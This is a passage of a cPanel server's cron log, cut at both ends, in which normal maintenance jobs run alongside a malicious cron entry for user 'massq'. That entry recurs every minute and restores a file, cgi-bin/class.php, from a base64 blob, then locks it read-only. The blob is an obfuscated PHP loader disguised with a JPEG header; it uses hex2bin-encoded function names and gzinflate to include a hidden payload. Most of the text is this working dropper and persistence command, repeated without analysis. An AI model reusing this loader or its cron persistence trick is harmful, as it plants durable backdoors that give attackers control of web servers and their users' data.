Jd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep 12 04:07:01 server CROND[21210]: (root) CMD (/usr/sbin/imunify-notifier -update-cron)
Sep 12 04:07:01 server CROND[21216]: (massq) CMD (fp="/home/massq/public_html/cgi-bin/class.php"; if [ ! -s "$fp" ]; then echo "/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep 12 04:07:01 server CROND[21217]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep 12 04:08:01 server CROND[21587]: (root) CMD (/usr/sbin/imunify-notifier -update-cron)
Sep 12 04:08:01 server CROND[21586]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep 12 04:08:01 server CROND[21585]: (massq) CMD (fp="/home/massq/public_html/cgi-bin/class.php"; if [ ! -s "$fp" ]; then echo "/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep 12 04:09:02 server CROND[21958]: (massq) CMD (fp="/home/massq/public_html/cgi-bin/class.php"; if [ ! -s "$fp" ]; then echo "/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep 12 04:09:02 server CROND[21960]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep 12 04:09:02 server CROND[21987]: (root) CMD (/usr/sbin/imunify-notifier -update-cron)
Sep 12 04:09:02 server CROND[21959]: (root) CMD (/usr/local/cpanel/scripts/clean_user_php_sessions > /dev/null 2>&1)
Sep 12 04:10:01 server CROND[22396]: (root) CMD (/usr/local/maldetect/maldet --mkpubpaths >> /dev/null 2>&1)
Sep 12 04:10:01 server CROND[22406]: (massq) CMD (fp="/home/massq/public_html/cgi-bin/class.php"; if [ ! -s "$fp" ]; then echo "/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep 12 04:10:01 server CROND[22415]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep 12 04:10:01 server CROND[22414]: (root) CMD (/usr/local/cpanel/scripts/backup_jobs_helper >> /var/log/comet_backup_jobs_helper.log 2>&1)
Sep 12 04:10:01 server CROND[22416]: (root) CMD (/usr/sbin/imunify-notifier -update-cron)
Sep 12 04:10:01 server CROND[22413]: (root) CMD (/usr/lib64/sa/sa1 1 1)
Sep 12 04:10:01 server CROND[22417]: (root) CMD (/usr/local/cpanel/scripts/dcpumon-wrapper >/dev/null 2>&1)
Sep 12 04:10:01 server CROND[22412]: (root) CMD (   bash -c 'sleep $((RANDOM % 60))' ; /opt/imunify360/venv/share/imunify360/scripts/check-detached.py > /dev/null 2>&1 || :)
Sep 12 04:11:01 server CROND[23499]: (massq) CMD (fp="/home/massq/public_html/cgi-bin/class.php"; if [ ! -s "$fp" ]; then echo "/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep 12 04:11:01 server CROND[23500]: (root) CMD (/usr/sbin/imunify-notifier -update-cron)
Sep 12 04:11:01 server CROND[23501]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep 12 04:12:01 server CROND[23872]: (root) CMD (/usr/local/cpanel/whostmgr/bin/dnsqueue > /dev/null 2>&1)
Sep 12 04:12:01 server CROND[23874]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep 12 04:12:01 server CROND[23873]: (massq) CMD (fp="/home/massq/public_html/cgi-bin/class.php"; if [ ! -s "$fp" ]; then echo "/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep 12 04:12:01 server CROND[23875]: (root) CMD (/usr/sbin/imunify-notifier -update-cron)
Sep 12 04:13:01 server CROND[24246]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep 12 04:13:01 server CROND[24247]: (massq) CMD (fp="/home/massq/public_html/cgi-bin/class.php"; if [ ! -s "$fp" ]; then echo "/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep 12 04:13:01 server CROND[24248]: (root) CMD (/usr/sbin/imunify-notifier -update-cron)
Sep 12 04:14:01 server CROND[24621]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep 12 04:14:01 server CROND[24622]: (root) CMD (/usr/sbin/imunify-notifier -update-cron)
Sep 12 04:14:01 server CROND[24623]: (massq) CMD (fp="/home/massq/public_html/cgi-bin/class.php"; if [ ! -s "$fp" ]; then echo "/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep 12 04:15:01 server CROND[25004]: (root) CMD (/usr/local/maldetect/maldet --mkpubpaths >> /dev/null 2>&1)
Sep 12 04:15:01 server CROND[25006]: (root) CMD (/usr/local/cpanel/scripts/dcpumon-wrapper >/dev/null 2>&1)
Sep 12 04:15:01 server CROND[25024]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep 12 04:15:01 server CROND[25020]: (root) CMD (/usr/local/cpanel/scripts/backup_jobs_helper >> /var/log/comet_backup_jobs_helper.log 2>&1)
Sep 12 04:15:01 server CROND[25023]: (root) CMD (   bash -c 'sleep $((RANDOM % 60))' ; /opt/imunify360/venv/share/imunify360/scripts/check-detached.py > /dev/null 2>&1 || :)
Sep 12 04:15:01 server CROND[25026]: (massq) CMD (fp="/home/massq/public_html/cgi-bin/class.php"; if [ ! -s "$fp" ]; then echo "/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep 12 04:15:01 server CROND[25025]: (root) CMD (/usr/sbin/imunify-notifier -update-cron)
Sep 12 04:15:01 server CROND[25021]: (root) CMD (/usr/local/cpanel/bin/dbindex >/dev/null 2>&1)
Sep 12 04:15:01 server CROND[25022]: (root) CMD (/usr/local/cpanel/scripts/upcp --security)
Sep 12 04:16:01 server CROND[25873]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep 12 04:16:01 server CROND[25874]: (massq) CMD (fp="/home/massq/public_html/cgi-bin/class.php"; if [ ! -s "$fp" ]; then echo "/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep 12 04:16:01 server CROND[25876]: (root) CMD (/usr/sbin/imunify-notifier -update-cron)
Sep 12 04:17:01 server CROND[26334]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep 12 04:17:01 server CROND[26335]: (root) CMD (   /usr/libexec/report-command-error /opt/imunify360/venv/share/imunify360/scripts/update_components_versions.py > /dev/null 2>&1)
Sep 12 04:17:01 server CROND[26336]: (massq) CMD (fp="/home/massq/public_html/cgi-bin/class.php"; if [ ! -s "$fp" ]; then echo "/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep 12 04:17:01 server CROND[26337]: (root) CMD (/usr/sbin/imunify-notifier -update-cron)
Sep 12 04:18:01 server CROND[26805]: (root) CMD (/usr/sbin/imunify-notifier -update-cron)
Sep 12 04:18:01 server CROND[26806]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep 12 04:18:01 server CROND[26807]: (massq) CMD (fp="/home/massq/public_html/cgi-bin/class.php"; if [ ! -s "$fp" ]; then echo "/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRm